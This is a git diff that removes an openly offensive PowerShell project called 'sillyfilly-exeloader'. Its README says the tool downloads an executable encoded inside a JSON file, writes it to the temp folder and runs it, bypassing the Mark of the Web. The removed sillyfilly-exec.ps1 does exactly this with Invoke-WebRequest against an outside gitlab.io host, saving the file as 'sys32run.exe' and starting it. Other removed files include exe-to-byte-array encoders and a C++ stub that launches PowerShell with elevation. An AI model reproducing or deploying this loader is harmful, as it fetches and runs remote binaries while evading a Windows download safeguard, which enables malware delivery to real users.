Initial commit

README.md

@@ -0,0 +1,2 @@
+# sillyfilly-exeloader
+

random_writer.ps1

@@ -1,6 +0,0 @@
-$bytes = 24
-
-[System.Security.Cryptography.RNGCryptoServiceProvider] $rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
-$rndbytes = New-Object byte[] $bytes
-$rng.GetBytes($rndbytes)
-[System.IO.File]::WriteAllBytes("$PWD\test.txt", $rndbytes)

scramble.ps1

@@ -1,59 +0,0 @@
-$ByteFile="$PWD/test.txt"
-$ByteArray = [io.file]::ReadAllBytes($ByteFile)
-echo "=== Original Byte Array ==="
-$ByteArray
-$Width = $ByteArray.Length
-$Position = 0..$Width
-$Buf =  0..$Width
-$RetBuf = 0..$Width
-$HashTab = @{}
-$Count = 0
-$CountRet = 0
-$ScrambledPosition = $Position | Sort-Object {Get-Random}
-echo "=== ScrambledPosition Original ==="
-$ScrambledPosition
-#$ScrambledPosition[0]
-foreach($Key in $ScrambledPosition) {
-    #$HashTab.add($Key, $ByteArray[$Count])
-    #$Key
-    echo $Buf[$Count] = $ByteArray[$Key]
-    $Count++
-    #$buf[$PSItem]# = $ByteArray[$scrambledPosition[$PSItem]]
-    #$PSItem
-    #$ByteArray[$PSItem]
-    #$tem
-    #Write-Host "$ScrambledPosition[$Count] : $ByteArray[$PSItem]"
-    ##$ScrambledPosition[$Count]
-    #[System.BitConverter]::ToString($PSItem)
-}
-
-Write-Output "=== Buf ==="
-$Buf
-
-foreach($Key in $Buf) {
-    $PositionRet = $ScrambledPosition[$CountRet]
-    #echo "$positionRet = $ScrambledPosition[$CountRet]"
-    #$ScrambledPosition[$Key]
-    #$ScrambledPosition[$CountRet]
-    echo 'Buf[i]:' $Buf[$PositionRet] 'i: ' $positionret
-    #$RetBuf[$CountRet]
-    #$Buf[$PositionRet]
-    $CountRet++
-    #$RetBuf[]
-}
-
-
-#$Buf # Scrambled bytes
-#$Position # array 0..$Width
-#$ByteArray # unscrambled bytes
-#$ScrambledPosition # positions of scramble
-#$HashTabRand = $HashTab | Sort-Object {Get-Random}
-#$HashTab
-#Write-Output "=== ScrambledPosition ==="
-#$ScrambledPosition
-Write-Output "=== ByteArray ==="
-$ByteArray
-#Write-Output "=== Buf ==="
-#$Buf
-Write-Output "=== RetBuf ==="
-$RetBuf

shellcode_writer.ps1

@@ -1,3 +0,0 @@
-[Byte[]] $bytes = 0x90,0x90,0x90,0x9
-[io.file]::WriteAllBytes('out.exe', $bytes)
-# Get-Content('test.txt') | Format-Hex

sillyfilly-exeloader/.gitattributes

@@ -1,2 +0,0 @@
-# Auto detect text files and perform LF normalization
-* text=auto

sillyfilly-exeloader/README.md

@@ -1,6 +0,0 @@
-# sillyfilly-exeloader
-![pwnies-gonna-pwn](resources/pwnies.png)
-
-## tl;dr
-Powershell lets you download a json file with iwr (Invoke-WebRequest), and if that json file has, maybe, megabytes of byte code [like this](sillyfilly.json) that was simply an [encoded exe](shellexe/) with [this powershell silliness](encode_exe.ps1) you can just decode it, write it to tmp and execute it, bypassing the Mark of the Web.
-From there... (coming soon...) (very soon...)

sillyfilly-exeloader/encode_exe.ps1.txt

@@ -1,25 +0,0 @@
-function Convert-ByteArrayToHexString
-{
-# props to https://www.sans.org/blog/powershell-byte-array-and-hex-functions/
-[CmdletBinding()] Param (
-[Parameter(Mandatory = $True)] $ByteFile)
-
-$ByteArray = [io.file]::ReadAllBytes($ByteFile)
-$Width = $ByteArray.length
-$Delimiter = ",0x"
-$FirstDelimiter = $Delimiter -Replace "^[\,\:\t]",""
-$From = 0
-$To = $Width - 1
-'[[byte]] $bytes='
-Do
-{
-$String = [System.BitConverter]::ToString($ByteArray[$From..$To])
-$String = $FirstDelimiter + ($String -replace "\-",$Delimiter)
-$String
-$From += $Width
-$To += $Width
-} While ($From -lt $ByteArray.Length)
-}
-
-# example
-Convert-ByteArrayToHexString "$PWD\to_encode.exe" | Out-File -FilePath .\shelly.txt

sillyfilly-exeloader/shellcode_reader.ps1.txt

@@ -1,5 +0,0 @@
-$path='test.txt'
-$bytes = [io.file]::ReadAllBytes($path)
-$str = [BitConverter]::ToString($bytes) -replace '-'
-echo $str
-# Get-Content('test.txt') | Format-Hex

sillyfilly-exeloader/shellexe/.vs/shellexe/v17/DocumentLayout.json

@@ -1,37 +0,0 @@
-{
-  "Version": 1,
-  "WorkspaceRootPath": "C:\\Users\\human\\source\\repos\\shellexe\\",
-  "Documents": [
-    {
-      "AbsoluteMoniker": "D:0:0:{60EDDBD0-4A60-4C8C-998E-71B402736EA5}|shellexe.vcxproj|C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
-      "RelativeMoniker": "D:0:0:{60EDDBD0-4A60-4C8C-998E-71B402736EA5}|shellexe.vcxproj|solutionrelative:Main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
-    }
-  ],
-  "DocumentGroupContainers": [
-    {
-      "Orientation": 0,
-      "VerticalTabListWidth": 256,
-      "DocumentGroups": [
-        {
-          "DockedWidth": 200,
-          "SelectedChildIndex": 0,
-          "Children": [
-            {
-              "$type": "Document",
-              "DocumentIndex": 0,
-              "Title": "Main.cpp",
-              "DocumentMoniker": "C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp",
-              "RelativeDocumentMoniker": "Main.cpp",
-              "ToolTip": "C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp",
-              "RelativeToolTip": "Main.cpp",
-              "ViewState": "AQIAAAAAAAAAAAAAAAAAAAYAAAAMAAAA",
-              "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
-              "WhenOpened": "2024-07-05T23:55:40.022Z",
-              "EditorCaption": ""
-            }
-          ]
-        }
-      ]
-    }
-  ]
-}

sillyfilly-exeloader/shellexe/Main.cpp

@@ -1,10 +0,0 @@
-#include <iostream>
-#include <windows.h>
-#include <shellapi.h>
-#include <string>
-#include <limits.h>
-
-int main() {
-    HINSTANCE retval = ShellExecuteA(NULL, "runas", "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", NULL, NULL, SW_NORMAL);
-    return 0;
-}

sillyfilly-exeloader/shellexe/shellexe.sln

@@ -1,31 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Version 17
-VisualStudioVersion = 17.10.35004.147
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellexe", "shellexe.vcxproj", "{60EDDBD0-4A60-4C8C-998E-71B402736EA5}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|x64 = Debug|x64
-		Debug|x86 = Debug|x86
-		Release|x64 = Release|x64
-		Release|x86 = Release|x86
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x64.ActiveCfg = Debug|x64
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x64.Build.0 = Debug|x64
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x86.ActiveCfg = Debug|Win32
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x86.Build.0 = Debug|Win32
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x64.ActiveCfg = Release|x64
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x64.Build.0 = Release|x64
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x86.ActiveCfg = Release|Win32
-		{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x86.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-	GlobalSection(ExtensibilityGlobals) = postSolution
-		SolutionGuid = {8D0DEA54-9462-4B8A-98B4-BE2649A22A8B}
-	EndGlobalSection
-EndGlobal

sillyfilly-exeloader/shellexe/shellexe.vcxproj

@@ -1,135 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup Label="ProjectConfigurations">
-    <ProjectConfiguration Include="Debug|Win32">
-      <Configuration>Debug</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-    <ProjectConfiguration Include="Release|Win32">
-      <Configuration>Release</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-    <ProjectConfiguration Include="Debug|x64">
-      <Configuration>Debug</Configuration>
-      <Platform>x64</Platform>
-    </ProjectConfiguration>
-    <ProjectConfiguration Include="Release|x64">
-      <Configuration>Release</Configuration>
-      <Platform>x64</Platform>
-    </ProjectConfiguration>
-  </ItemGroup>
-  <PropertyGroup Label="Globals">
-    <VCProjectVersion>17.0</VCProjectVersion>
-    <Keyword>Win32Proj</Keyword>
-    <ProjectGuid>{60eddbd0-4a60-4c8c-998e-71b402736ea5}</ProjectGuid>
-    <RootNamespace>shellexe</RootNamespace>
-    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>true</UseDebugLibraries>
-    <PlatformToolset>v143</PlatformToolset>
-    <CharacterSet>Unicode</CharacterSet>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>false</UseDebugLibraries>
-    <PlatformToolset>v143</PlatformToolset>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>Unicode</CharacterSet>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>true</UseDebugLibraries>
-    <PlatformToolset>v143</PlatformToolset>
-    <CharacterSet>Unicode</CharacterSet>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>false</UseDebugLibraries>
-    <PlatformToolset>v143</PlatformToolset>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>Unicode</CharacterSet>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
-  <ImportGroup Label="ExtensionSettings">
-  </ImportGroup>
-  <ImportGroup Label="Shared">
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <PropertyGroup Label="UserMacros" />
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <SDLCheck>true</SDLCheck>
-      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <ConformanceMode>true</ConformanceMode>
-    </ClCompile>
-    <Link>
-      <SubSystem>Console</SubSystem>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <FunctionLevelLinking>true</FunctionLevelLinking>
-      <IntrinsicFunctions>true</IntrinsicFunctions>
-      <SDLCheck>true</SDLCheck>
-      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <ConformanceMode>true</ConformanceMode>
-    </ClCompile>
-    <Link>
-      <SubSystem>Console</SubSystem>
-      <EnableCOMDATFolding>true</EnableCOMDATFolding>
-      <OptimizeReferences>true</OptimizeReferences>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <SDLCheck>true</SDLCheck>
-      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <ConformanceMode>true</ConformanceMode>
-    </ClCompile>
-    <Link>
-      <SubSystem>Console</SubSystem>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <FunctionLevelLinking>true</FunctionLevelLinking>
-      <IntrinsicFunctions>true</IntrinsicFunctions>
-      <SDLCheck>true</SDLCheck>
-      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <ConformanceMode>true</ConformanceMode>
-    </ClCompile>
-    <Link>
-      <SubSystem>Console</SubSystem>
-      <EnableCOMDATFolding>true</EnableCOMDATFolding>
-      <OptimizeReferences>true</OptimizeReferences>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemGroup>
-    <ClCompile Include="Main.cpp" />
-  </ItemGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
-  <ImportGroup Label="ExtensionTargets">
-  </ImportGroup>
-</Project>

sillyfilly-exeloader/shellexe/shellexe.vcxproj.filters

@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup>
-    <Filter Include="Source Files">
-      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
-      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
-    </Filter>
-    <Filter Include="Header Files">
-      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
-      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
-    </Filter>
-    <Filter Include="Resource Files">
-      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
-      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
-    </Filter>
-  </ItemGroup>
-  <ItemGroup>
-    <ClCompile Include="Main.cpp">
-      <Filter>Source Files</Filter>
-    </ClCompile>
-  </ItemGroup>
-</Project>

sillyfilly-exeloader/shellexe/shellexe.vcxproj.user

@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <PropertyGroup />
-</Project>

sillyfilly-exeloader/sillyfilly-exec.ps1

@@ -1,4 +0,0 @@
-$j = iwr 'https://princesspi.gitlab.io/nsfvenom-front-end/sillyfilly.json' | ConvertFrom-Json
-$bytes=$j.sillyfillies.split(",")
-[io.file]::WriteAllBytes("$Env:Temp\sys32run.exe", $bytes)
-Start-Process -FilePath "$Env:Temp\sys32run.exe"

test.txt

@@ -1 +0,0 @@
-m—1ÅœnD³¼:ä�¶ÞÊ‹ˆiUr